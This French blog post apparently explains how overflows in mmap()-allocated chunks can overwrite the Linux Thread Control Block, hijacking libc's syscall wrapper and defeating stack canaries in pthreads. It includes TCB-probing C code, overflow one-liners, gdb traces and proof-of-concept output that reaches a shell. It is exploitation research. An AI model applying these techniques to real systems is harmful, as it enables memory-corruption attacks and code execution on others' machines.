En relation avec les 0 day MySQL de Kingcope, je vais parler des overflows
dans les chunks alloués via mmap(). Ces overflows permettent de détourner les appels systèmes de la libc ou de bypasser les stack canary dans les pthreads de manière relativement simple.
Pour comprendre ces overflows, il n'y a qu'une structure à connaître : le Thread Control Block (TCB). Le TCB est une petite structure de données dans l'espace d'un thread et contient à peu près toutes
les informations dont on a besoin sur lui. C'est notamment de cette structure que se servent les débuggueurs pour afficher des informations sur les processus débuggués. Sous Linux, les threads sont identifiés
par l'adresse de leur TCB (en userland j'entends). Un petit coup d'oeil à la définition de cette structure dans la libc (linuxthreads/sysdeps/i386/tls.h):
typedef struct
{
void *tcb; /* Pointer to the TCB. Not necessary the
thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
uintptr_t sysinfo;
uintptr_t stack_guard;
uintptr_t pointer_guard;
} tcbhead_t;
Sous x86, le segment %gs pointe vers le TCB, et c'est %fs pour x86_64. Les deux champs qui nous intéressent particulièrement pour ce qui va suivre sont sysinfo et stack_guard. Le premier contient un pointeur vers
le wrapper de syscalls utilisé par la libc, et le deuxième le cookie random qui protège le frame pointer et l'adresse de retour sur la pile. Un petit programme pour tester tout ça :
#include <stdio.h>
unsigned int get_tcb() {
asm ("movl %gs:0, %eax");
}
void explore_tcb(int len) {
int * tcb = (int *)get_tcb();
int i;
printf("This is thread %x\n", (int)tcb);
printf("\tExploring %d TCB words: ", len);
for (i=0;i<len;i++) printf("%08x ",*(tcb++))
printf("\n");
}
#define SET_SYSINFO(val) *(((int *)get_tcb()) + 4) = val
#define SET_STACK_COOKIE(val) *(((int *)get_tcb()) + 5) = val
Le cas 1 permet de montrer qu'en modifiant ce cookie on déclenche bien le "stack smashing detected", le cas 2 montre que si on a contrôle du cookie alors l'overflow continue normalement, et le cas 3 teste la
réécriture du wrapper de syscalls :
$ ./explore_tcb 1
----------
This is thread f75c16c0
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) x/xw $esp
0xffffd468: 0xf7ef8b14
(gdb) disas 0xf7ef8b14
Dump of assembler code for function _exit:
Les deux premiers cas marchent bien comme espéré. On se rend compte qu'en contrôlant le troisième, on contrôlera l'eip tôt ou tard. En effet, la majorité des syscalls dans la libc utilisent ce sysinfo. Dans le
cas ci-dessus, c'est le call final à exit(), qui effectue d'abord un syscall exit_group() via ce wrapper à _exit+9. Contrôler le TCB revient donc à contrôler l'exécution dans une majorité de cas.
Overflow dans les chunks mmap()és
Une première particularité du TCB est qu'elle est dans le premier chunk mmapé de l'application, car initialisé dès le début du programme. Si un overflow existe dans une région plus basse,
contigue de cette région, alors il est possible de contrôler le TCB. Pour montrer ça, on va utiliser le petit programme suivant :
Dans ce programme, on effectue deux allocations via malloc(), l'une petite, et l'autre large. On voit que la première est placée dans le heap et la deuxième dans des adresses beaucoup plus basses, car malloc() alloue
les gros chunks via mmap(). La randomization effectuée par ASLR est seulement un seed généré pour les différents segments au bootstrap du programme. Ensuite, les allocations sont déterministes. Plus intéressant que ça,
ces allocations font du "first fit" : mmap() rend la premère région virtuelle qui a la place nécessaire à la requête, contigue des autres régions allouées. Ci-dessous une petite trace qui montre l'évolution
de l'espace d'adresses dans notre petit programme. Les deux breakpoints sont au début du main, puis après le malloc(0x30000) :
Pour cette exécution, le TCB est à 0xf7e566c0, donc bien dans la première région disponible immédiatement au-dessus de la libc. Le chunk ensuite alloué par malloc() étend bien cette région de 0xf7e56000 à
0xf7e25000. Un overflow dans ce dernier devrait donc bien réécrire le TCB :
$ python -c "print 'A'*0x31700" | ./single
----------
This is thread f762e6c0
----------
Erreur de segmentation (core dumped)
$ gdb -core ./core
[New LWP 10695]
Core was generated by `./single'.
Program terminated with signal 11, Segmentation fault.
#0 0x41414141 in ?? ()
(gdb)
A partir de là, on se retrouve dans une exploitation classique, modulo le fait qu'on ne contrôle pas du tout la pile. Il faut donc effectuer un stack pivot vers une zone contrôlée en une seule séquence
ROP. Dans une vraie application, on a probablement plusieurs endroits où il est possible d'insérer des données utilisateur et on essaiera d'y retourner. L'exploitation est tout de même compliquée :
on ne peut pas faire de vrai return-into-libc, car on a remplacé pas mal de données globales de celle-ci, et le wrapper de syscall.
Pour la PoC, je me suis placé dans le cas simple d'un exploit local, où j'insère ma stack dans argv[1]. C'est toujours relativement facile de faire "remonter" esp, car il y a souvent beaucoup de chunks
"ret X" qui permettent de dépiler X bytes avant de popper eip. Dans le petit script, on voit donc bien les deux parties distinctes : payload contient l'overflow qui remplace le wrapper de syscall et
arg contient la stack forgée. Comme il y a toujours un padding de quelques pages entre les arguments et le début de la pile, j'utilise un "ret sled", donc plein de rets qui font faire glisser jusqu'à
l'enchaînement read()/execve().
----------
Succeeded in 121 tries
uid=1000(user) gid=1000(user) groups=1000(user),20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev),108(netdev)
> whoami
user
> exit
$
En local, ça marche facilement en quelques secondes, même avec un script python qui fait des sleeps :)
Ce qu'il faut noter aussi, c'est que si jamais un attaquant réussit à réécrire le TCB, il est sûr que l'exécution arrivera à l'adresse réécrite à un moment ou un autre : toutes les fonctions
de la libc utilisent ce wrapper. Même les fonctions de terminaison que sont __stack_chk_fail et _exit y passent : __stack_chk_fail fait un open() sur la sortie d'erreur pour afficher son message
"stack smashing detected", et _exit fait un appel système exit_group() avant de quitter.
Bypass du stack canary dans les pthreads
Réécrire le TCB a une autre belle application qui peut justement être directement appliquée dans le cas du stack overflow MySQL de Kingcope. Pour se remettre dans le même genre
de situation, le petit programme suivant créé un pthread et affiche l'adresse de sa pile, avant d'effectuer un stack overflow :
On voit donc que la stack du thread est allouée *avant* les TCB. En effet, un thread a besoin de réserver de l'espace mémoire pour sa stack et ses données personnelles. Forcément,
il le fait via mmap() et on retombe dans le cas ci-dessus. On peut toujours effectuer une exploitation pas remplacement du wrapper de syscall, mais il y a plus intéressant :
nous sommes dans le cas d'un stack overflow où nous pouvons réécrire le canary, ainsi que le canary qui sert à la comparaison. Petite vérification :
$ python -c "print 'A'*2000" | ./pthread
----------
This is thread f75d96c0
Erreur de segmentation (core dumped)
$ gdb -core core
[New LWP 11510]
[New LWP 11509]
Core was generated by `./pthread'.
Program terminated with signal 11, Segmentation fault.
#0 0x42424242 in ?? ()
(gdb) x/xw $esp
0xf75ee390: 0x42424242
On voit bien que l'eip est à BBBB et non AAAA, ce qui signifie qu'on a bien écrasé l'adresse de retour et non un autre pointeur de fonction. Cette option est donc largement préférable,
puisqu'on a un vrai contrôle de la pile. On a de quoi faire une exploitation bien plus facile et plus propre, mais puisqu'il n'y a pas spécialement d'intérêt, j'ai juste repris la même, cette
fois sans avoir besoin d'être en local et d'insérer la stack dans argv :
Succeeded in 335 tries
uid=1000(user) gid=1000(user) groups=1000(user),20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev),108(netdev)
> whoami
user
> exit
$
C'est tout pour cet article, plein de code et avec peu d'explications je sais, mais je pense qu'il n'y a pas beaucoup plus à comprendre que : le stack canary ne sert à rien dans les pthreads, et attention aux
gros chunks qui sont placés juste avant les TCB.
Il est à noter que sur le chemin vers le TCB, on réécrit d'autres structures très intéressantes, par exemple les descripteurs des arena de malloc() :
$ python -c "print 'A'*2130" > /tmp/test
$ gdb -q ./pthread
Reading symbols from /home/user/tmp/canary/pthread...(no debugging symbols found)...done.
(gdb) r < /tmp/test
Starting program: /home/user/tmp/canary/pthread < /tmp/test
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
----------
This is thread f7e3d6c0
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0xf7e3cb70 (LWP 14719)]
0xf7eb45da in malloc () from /lib32/libc.so.6
Il y a donc probablement d'autres vecteurs d'exploitation, même lorsque l'overflow ne nous permet pas de réécrire le TCB. Ce qui est marrant, c'est que lors d'un stack smashing, __stack_chk_fail est appellé.
Cette fonction utilise __libc_message pour écrire sur la sortie d'erreur le message "stack smashing". Cela cause un appel à open() et donc au wrapper sysinfo potentiellement empoisonné. S'il est valide,
l'affichage du backtrace ensuite va poser des appels à malloc(), dont les structures peuvent être empoisonées comme on vient du voir. Au final, la détection du stack smashing permet tous ces vecteurs
d'exploitation à elle toute seule, alors qu'elle pourrait simplement faire un mov eax, 1 + int 0x80...